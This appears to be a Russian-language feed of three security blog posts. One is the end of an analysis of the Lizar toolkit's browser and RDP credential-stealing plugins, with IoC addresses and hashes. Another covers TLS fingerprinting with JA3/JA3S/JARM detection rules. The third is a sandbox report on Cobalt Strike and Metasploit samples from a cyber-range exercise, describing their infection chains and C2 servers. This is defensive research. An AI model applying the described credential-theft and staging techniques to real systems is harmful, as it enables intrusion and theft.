Атакуя Google Chrome, плагин получает историю браузера из базы %LOCALAPPDATA%\Google\Chrome\User Data\Default\History, а пароли из базы %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data (данные зашифрованы с использованием DPAPI).


History, places.sqlite, Login Data файлы базы данных sqlite3. Для работы с базами данных sqlite3 в плагине используются функции из библиотеки sqlite, статически слинкованные с результирующей DLL, то есть самим плагином.


Для браузеров Internet Explorer и Microsoft Edge плагин получает учетные данные пользователей с использованием функций из библиотеки vaultcli.dll, реализующей функции утилиты vaultcmd.exe.


PswRdInfo64.dll


PswRdInfo64.dll предназначен преимущественно для сбора доменных учетных записей и получения учетных данных для доступа к другим хостам через RDP. Плагин активируется из приложения клиента с помощью вкладки Grabber RDP.


Алгоритм работы плагина зависит от следующих условий.


При запуске пользователем SYSTEM плагин перечисляет все активные консольные сессии (WTSGetActiveConsoleSessionId) и получает имена пользователей для данных сессий:


(WTSQuerySessionInformationW)(0i64, SessionId, WTSUserName, &vpSessionInformationUserName, &pBytesReturned))

Затем плагин получает приватные ключи из директории C:\Users\{SessionInformationUserName}AppData\Local\Microsoft\Credentials для каждого пользователя и осуществляет инжект в процесс lsass.exe для извлечения доменных учетных записей.


При запуске другим пользователем (не SYSTEM) плагин пытается собрать учетные данные для доступа по RDP к другим хостам. Сбор учетных данных осуществляется с помощью функции CredEnumerateW, при этом в качестве цели используется строка TERMSRV.


Заключение


Исследуемый набор инструментов разнообразен и сложен. Сейчас инструмент Lizar находится на стадии активной разработки и тестирования, при этом его уже вовсю используют для управления зараженными компьютерами. Сегодня Lizar используется в основном на территории США. Но, судя по всему, группировка не остановится на достигнутом, и мы совсем скоро узнаем о новых АРТ-атаках с применением данного инструмента по всему миру.


IoC


IP:


108.61.148.97
136.244.81.250
185.33.84.43
195.123.214.181
31.192.108.133
45.133.203.121


SHA256:


166b0c5e49c44f87886ecaad46e60b496b6b7512d1c57db41d9cf752fada95c8188d76c31fa7f500799762237508203bdd1927ec4d5232cc189d46bc76b7a30d1e5514e8f95dcf6dd7289acef6f6b88c460105660cb0c5b86ec7b854f70ee85721850bb5d8df021e850e740c1899353f40af72f119f2cd71ad234e91c2ccb7723b63eb184bea5b6515697ae3f13a57365f04e6a3309c79b18773291e62a64fcb4d933b6b60a097ad5ce5876a66c569e6f46707b934ebd3c442432711af195124515b94290111b7be80e001bfa2335d2f494937c8619cfdaafb2077d9d6af06fe61cfe83259640df9f19df2be4b67bb1c6e5816ac52b8a5a02ee8b79bde4b2b70fbd2d816147112bd408e26b1300775bbaa482342f9b33924d93fd71a5c312ccea3b3f56a61c6dc8ba2aa25bdd9bd7dc2c5a4602c2670431c5cbc59a76e2b4c54e908f99c6753a56440127e54ce990adbc5128d10edc11622d548ddd67e6662ac7d48362091d710935726ab4d32bf594b363683e8335f1ee70ae2ae81f4ee36cae894dedb4658e006c8a85f02fa5bbab7ecd234331b92be41ab708fa22a246e25b8691a33aa99af0f0c1a86321b70437efcf358ace1cf3f91e4cb8793228d1a62bd1e5ea9556cb6cba9a509eab8442bf37ca40006c0894c5a98ce77f6d84b03c798fbccd9c2e925d2f7b8bcfa247790a681497dfb9f7f8745c0327c43db10952f552c00bb5fd5f10b105ca247b0a78082bd6a63e2bab590040788e52634f96d1121db55edc9df9e096fc994972498cbd9da128f8f3959a462d04091634a569a96
Подробнее..
Категории: Информационная безопасность , Pentest , Реверс-инжиниринг , Блог компании bi.zone , Вредоносное по , Fin7 , Carbanak

Использование TLS fingerprinting для выявления угроз

31.05.2021 14:10:41 | Автор: admin

В статье хотим рассказать про технологию TLS fingerprinting, про которую недостаточно материалов в русскоязычном сегменте. Попробуем это исправить. Статья частично переводит тематические материалы авторов описываемых методов (тут и тут), а также содержит описание практической реализации от Акрибии.

Не будем глубоко погружаться в детали работы SSL/TLS (далее будем говорить TLS), но кратко поясним детали.

Использование TLS само по себе благо, так как с его помощью шифруются данные. Но с обратной стороны создатели вредоносов используют его же, чтобы скрываться в шифрованном трафике (в данной статье как раз будет уклон в эту сторону) и затруднять их обнаружение и нейтрализацию.

Чтобы инициировать сеанс TLS, клиент отправляет пакет приветствия серверу после трёхстороннего установления связи TCP. Этот пакет и способ его создания зависят от пакетов и методов шифрования, используемых при создании клиентского приложения. Если сервер принимает соединение TLS, он ответит пакетом приветствия, тем самым продолжая согласование шифрования.

Поскольку согласование шифрования TLS передаётся в открытом виде, то можно отследить и идентифицировать клиентские приложения.

В этом и суть технологии TLS fingerprinting, если кратко. А теперь немного подробнее.

TLS fingerprinting

Суть технологии в захвате элементов пакета приветствия клиента, которые остаются статичными от сеанса к сеансу для каждого клиента. На их основе можно создать отпечаток пальца для распознавания конкретного клиента в последующих сеансах. Записываются следующие поля:

  • версия TLS;

  • версия записи TLS;

  • наборы шифров;

  • параметры сжатия;

  • список расширений.

Кроме того, данные собираются из трех конкретных расширений (если они доступны):

  • алгоритмы подписи;

  • алгоритм для шифрования данных;

  • хэш функция для проверки содержимого.

Использование такого набора данных позволяет с большой точностью идентифицировать используемый клиент (например, браузер).

Почему это круто:

  • Пакет приветствия клиента это первый пакет в любом TLS-соединении. Это позволяет принимать решение о последующих мерах в начале сеанса до того, как потребуется подмена протокола или эмуляция.

  • Можно захватывать пакеты приветствия клиента TLS с высокой степенью точности по всем портам с абсолютно нулевым требованием для захвата обоих направлений потока. Это означает, что датчики в среде с асимметричной маршрутизацией или с ограничениями ресурсов, потенциально вызывающими отбрасывание пакетов, все равно могут собирать пакеты приветствия клиента, независимо от того, были ли они скрыты из-за работы на нестандартных портах.

  • Пакеты приветствия клиента возникают достаточно редко, поэтому дополнительная обработка хэшей не повлечет значительных затрат.

Наиболее очевидное использование TLS Fingerprinting пассивное обнаружение. Технология позволяет обнаруживать широкий спектр потенциально нежелательного трафика, не требуя доступа к конечным точкам. Можно обнаруживать как конкретные вредоносы по их поведению и/или обращениям к командным центрам, так и обычный софт, используемый не по назначению или в обход действующих правил.

Например, к серверу Exchange могут обращаться только почтовые клиенты или браузер, если используется OWA, поэтому соединение из скрипта на Python будет подозрительным.

Итого: TLS Fingerprinting предназначен для быстрой идентификации известных TLS-соединений и отслеживания неизвестных TLS-соединений. Входные данные принимаются либо посредством прослушивания трафика, либо при чтении PCAP файлов.

Есть несколько готовых реализаций, наиболее поддерживаемых комьюнити:

  • пассивный метод с использованием хэшей JA3 и JA3S;

  • активный инструмент снятия отпечатков пальцев с сервера TLS хэши JARM.

JA3 и JA3S

Метод JA3 используется для сбора десятичных значений байтов для следующих полей в пакете приветствия клиента: версия TLS, набор шифров, список расширений протоколов TLS, эллиптические кривые и форматы эллиптических кривых. Затем он объединяет эти значения вместе по порядку, используя символ , для разграничения каждого поля и - для разграничения каждого значения в каждом поле.

Порядок полей следующий:

TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats

Пример:

771,49196-49162-49195-52393-49161-49200-49172-49199-52392-49171-159-57-56-107-158-52394-51-50-103-22-19-157-53-61-156-47-60-10,0-23-65281-10-11-13-28,29-23-24-25,0

Если в ClientHello нет расширений TLS, поля остаются пустыми:

769,451091009836191899,,,

Эти строки затем хэшируются MD5. Пример отпечатка JA3:

c8446f59cca2149cb5f56ced4b448c8d

JA3S это хэш идентификации сервера. Метод JA3S заключается в сборе десятичных значений байтов для следующих полей в пакете приветствия сервера: версия TLS, набор шифров и список расширений протоколов TLS. После сбора значений, происходит процесс объединения этих значений вместе по порядку, используя , для разграничения каждого поля и - для разграничения каждого значения в каждом поле.

Порядок полей, следующий:

TLSVersion,Cipher,Extensions

Пример:

769,47,6528101135516

Если в Server Hello нет расширений TLS, поля остаются пустыми.

Пример:

769,47,

Эти строки затем хэшируются MD5 для создания 32-символьного отпечатка пальца.

Это отпечаток JA3S:

4835b19f14997673071435cb321f5445

JA3 и JA3S это методы снятия отпечатков TLS. JA3 отслеживает способ, которым клиентское приложение обменивается данными через TLS, а JA3S отслеживает ответ сервера. Вместе они создают отпечаток криптографического согласования между клиентом и сервером.

Теперь перейдем к описанию активного метода JARM.

JARM

JARM работает, активно отправляя 10 пакетов приветствия клиента TLS на целевой сервер и фиксируя определенные атрибуты ответов приветствия сервера. Затем агрегированные ответы сервера TLS хэшируются определенным образом для получения отпечатка JARM. JARM отправляет разные версии, шифры и расширения TLS в разном порядке для сбора уникальных ответов. Хэш JARM представляет собой гибридный нечеткий хэш, он использует комбинацию обратимого и необратимого алгоритма хеширования для создания 62-символьного отпечатка.

Отпечатки JARM можно использовать:

  • убедиться, что все серверы в группе имеют одинаковую конфигурацию TLS;

  • сгруппировать разрозненные серверы в сети Интернет по конфигурации, указав, например, что сервер может принадлежать Google, Yandex или Apple;

  • определить приложения или инфраструктуру по умолчанию;

  • выявить командные центры и других вредоносные серверы в сети Интернет.

Первые 30 символов состоят из шифра и версии TLS, выбранных сервером для каждого из 10 отправленных приветствий клиента. 000 означает, что сервер отказался согласовывать приветствие с этим клиентом. Остальные 32 символа представляют собой усеченный хэш SHA256 совокупных расширений, отправленных сервером, без учета данных сертификата x509. При сравнении отпечатков JARM, если первые 30 символов совпадают, но последние 32 отличаются, это будет означать, что серверы имеют очень похожие конфигурации, принимают одинаковые версии и шифры, но используют различные расширения, что не позволяет их считать полностью идентичными.

Исторически так сложилось, что индустрия кибербезопасности была сосредоточена в основном на индикаторах компрометации (IOC) и индикаторах атаки (IOA). То есть когда вредоносное ПО/хост и т.п. будут кем-то обнаружены, исследователи или вендоры платформ TI вычленяют уникальные или не очень признаки выявленного вредоноса или атаки типа IP, домена, хэша файла и т.п. и публикуют их в чёрных списках. Проблема в том, что к этому моменту вредоносное ПО уже распространено, и специалисты ИБ автоматически переходят в оборону.

Интернет-сканирование JARM в сочетании с другими метаданными и историческим анализом даёт возможность упреждающей идентификации IOC для новых вредоносов. Например, можно сканировать Интернет с помощью JARM, сопоставлять известные результаты JARM с историей домена, IP и репутацией вместе с данными сертификата для создания черного списка. Это позволяет перейти к возможности программного создания высокоточных списков блокировки до того, как первая вредоносная программа будет распространена.

Можно использовать JARM автоматически сканируя все хосты назначения, детектируемые в сети компании, для обогащения событий, и использовать сводную таблицу, чтобы не сканировать одни и те же хосты несколько раз. Затем можно запускать запросы заведомо плохих JARM или использовать список для корреляции.

Чтобы упростить процесс, можно использовать готовое решение. В настоящее время хэши JARM умеют считать продукты Palo Alto Networks и используют их API для обогащения целевого JARM.

Примеры реализации

Если нет возможности или желания использовать готовые решения от Palo Altoи пр., можно реализовать в своей инфраструктуре свое средство мониторинга трафика, например, на основе Zeek (ранее назывался Bro) популярного open-source продукта, заточенного специально для этого.

Zeek собирает огромное количество информации из первоначального согласования TLS, т.к. оно обрабатывается в открытом виде. Таким образом, хотя мы не можем видеть всё, что связано с шифрованием TLS, мы всё же можем получить общее представление о том, что происходит.

Zeek умеет выполнять снятие отпечатков TLS с помощью хэша JA3\JA3S.

Если у нас уже есть Zeek, в него попадает трафик, то для полноценного мониторинга нам понадобится SIEM (можно обойтись и без SIEM, но тогда обрабатывать логи Zeekа придется вручную). Допустим, SIEM у нас все же есть. Помимо инструментов обработки трафика и событий Zeek нам еще потребуются списки готовых хэшей, чтобы было с чем сравнивать.

В случае в JA3 все просто. Есть готовый инструмент, к которому можно обращаться по API для проверки выявленного хэша JA3 и принятия решения нормально это или не очень.

Хэши JA3S, соответствующие вредоносам, достать чуть сложнее. Есть, например, небольшая подборка тут, есть и еще, нужно только искать или считать самостоятельно.

С хешами JARM еще немного сложнее, если у вас нет Palo Alto, их нужно собирать по разрозненным отчетам аналитиков или считать самостоятельно и вести собственные белые и черные списки. Но на github тоже попадаются тематические подборки, например, эта. Мы ее задействуем в дальнейшем при проработке правил по JARM.

Далее приведем некоторые описания правил, которые мы реализуем у себя. Также есть неплохой доклад от Splunk с примерами алгоритмов и правил мониторинга по хэшам JA3/JA3S. Доступен здесь. Правила можно адаптировать под любую SIEM.

  • Выявление признака конкретного вредоноса по хэшам JA3\JA3S. Вот, например, готовые значения для Emotet и TrickBot:

    JA3 = 4d7a28d6f2263ed61de88ca66eb011e3 (Emotet)JA3S = 80b3a14bccc8598a1f3bbe83e71f735f (C2 Server Response)JA3 = 6734f37431670b3ab4292b8f60f29984 (Trickbot)JA3S = 623de93db17d313345d7ea481e7443cf(C2 Server Response)

  • Выявления нового хэша JA3, ранее не появляющегося в сети.

Список клиентского ПО в любой сети, как правило, достаточно статичен, и, если появится что-то новенькое это однозначно повод разобраться. Правда, это может быть новая версия уже известного ПО, тогда ее нужно добавить в белый список.

  • Выявления хэшей JA3 не из белого списка.

Общее правило, которое позволит обратить внимание на любую активность, которая явно не помечена заранее как разрешенная. Сюда могут попасть, как новые ранее неизвестные клиентские устройства или приложения, так и вредоносы, попавшие к вам в сеть. В любом случае трекать это стоит.

  • Выявления хэшей JA3\JA3S из чёрного списка.

Это правило нацелено на выявление хэшей заведомо вредоносного ПО.

  • Выявление обращений к C&C по хэшам JARM.

При выявлении обращения к TLS-серверу, неизвестному нам или ранее не появляющемуся в логах, необходимо посчитать его JARM хэш (можно вручную, можно скриптом или с использованием SOAR), при совпадении с хэшем, соответствующим известному C&C серверу, блокируем соединение, изолируем хост и расследуем инцидент.

  • Выявление JA3 хэшей, не характерных для системы.

При появлении на хостах с Windows JA3 хэшей, характерных для Linux или смартфонов (Android/IOS), стоит обратить внимание на такие хосты. Это может являться признаком работы вредоносов (ну или запущенного эмулятора/виртуалки в режиме NAT). Кейс особенно заслуживает внимание, если выявлен на рабочей станции обычного пользователя, далекого от мира IT.

  • Выявление JA3 хэшей, характерных для разных браузеров одного семейства.

Сейчас достаточно сложно на один хост поставить две разные версии Firefox или Chrome (виртуальные машины в режиме NAT не в счёт). Такое выявление может свидетельствовать о том, что злоумышленники пытались адаптироваться под установленный софт, но после обновления софта не успели или забыли обновить свой Fingerprint. Хост лучше изолировать и провести расследование.

  • Выявление JA3 хэшей, характерных для популярных сетевых библиотек языков программирования.

Ни для кого не секрет, что сейчас ВПО пишется не только на C/C++. Часто встречаются образцы, которые написаны на Python или Golang. Стандартные библиотеки, такие как requests (для python) или http (для Golang), имеют характерные отпечатки в рамках нескольких версий. В случае выявления такого хэша на рабочем месте разработчиков, вероятно, это нормально. Но, если хэши всплывут на рабочем компьютере рядового пользователя, то точно следует провести тщательную проверку, так как с большой вероятностью это будет свидетельством активности вредоноса. Также стоит поддерживать списки актуальных JA3 хэшей для популярных сетевых библиотек, чтобы минимизировать ложные срабатывания.

Важно: Список хэшей JARM (и JA3S тоже) необходимо регулярно пополнять новыми выявленными C&C серверами, полученную самостоятельно или от сторонних исследователей.

При использовании средств защиты сети, которые умеют вычислять хэши JARM самостоятельно и на лету, соединения с серверами из черных списков можно и нужно блокировать автоматически.

В завершении хотим подчеркнуть, что развитие и популяризация технологии TLS Fingerprinting, по нашему мнению, совсем не за горами, и способствует этому внедрение TLS 1.3.

В версиях стандарта TLS до 1.3 у клиента была возможность сообщать, к какому серверу он хочет обратиться SNI (Server Name Indication). Чаще всего в HTTPS для этого использовалось поле HOST, чтобы на одном IP и порту могли работать несколько HTTPS-сайтов. Соответственно и так, без всяких fingerprint, было видно, кто куда идет. Понятно, что речь идёт про легитимные обращения, атакующие всегда могли подделать SNI.

В стандарте TLS 1.3 появилась возможность шифровать имя запрашиваемого сайта Encrypted SNI (ESNI), и безопасники потеряли возможность видеть, куда идёт обращение.

Правда ESNI уже запретили в Китае, и были попытки блокировок в России. Однако ESNI стал часто встречаться, в том числе в инструментах злоумышленников, и без TLS fingerprinting становится сложно понимать, куда происходят обращения в сети.

Авторы статьи:

Михаил Кравченко, SOC-аналитик;

Александр Минин, руководитель направления Threat Intelligence @AAMinin;

Анна Шестакова, руководитель направления мониторинга ИБ.

Подробнее..
Категории: Информационная безопасность , Кибербезопасность , Вредоносы , Защита информации , Блог компании акрибия , Вредоносное по , Ssl/tls , Tls fingerprinting , Мониторинг трафика , Вредоносный код , Выявление атак

The Standoff, май 2021 года. О пойманных зверьках в песочнице

15.06.2021 12:07:46 | Автор: admin

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

  • сканирование файлов статическими правилами нашего PT ESC,

  • отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

  • анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

  • анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

  • сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с уловом в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

  • из вложений писем с почтовых серверов инфраструктуры города FF;

  • из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

  • через ICAP, перехваченные с помощью PT Application Firewall;

  • путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Рисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникам

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Рисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в системуРисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в систему

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

Рисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействамРисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействам

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Рисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалютыРисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалюты

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

  • CVE-2011-1249

  • CVE-2012-0217

  • CVE-2016-5195

  • CVE-2020-0787

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Судя по расширению файл представляет собой офисный документ:

Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

{"count": 1,"process.id": "3176","process.name": "program files\\microsoft office\\office14\\winword.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621437055.497087","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "ET INFO PowerShell DownloadString Command Common In Powershell Stagers","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

  Verified:UnsignedLink date:12:40 03.04.2009Publisher:n/aCompany:Apache Software FoundationDescription:ApacheBench command line utilityProduct:Apache HTTP ServerProd version:2.2.14File version:2.2.14MachineType:32-bit

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4 
{"count": 1,"process.id": "3176","process.name": "users\\john\\desktop\\lolkekpohek.exe","detect.name": "Backdoor.Win32.Generic.a","unixtime": "1621417537.223409","_rule": "Backdoor.Win32.Generic.a","s_msg": "SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange","correlation_name": "Backdoor.Win32.Generic.a","detect.type": "malware"}

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

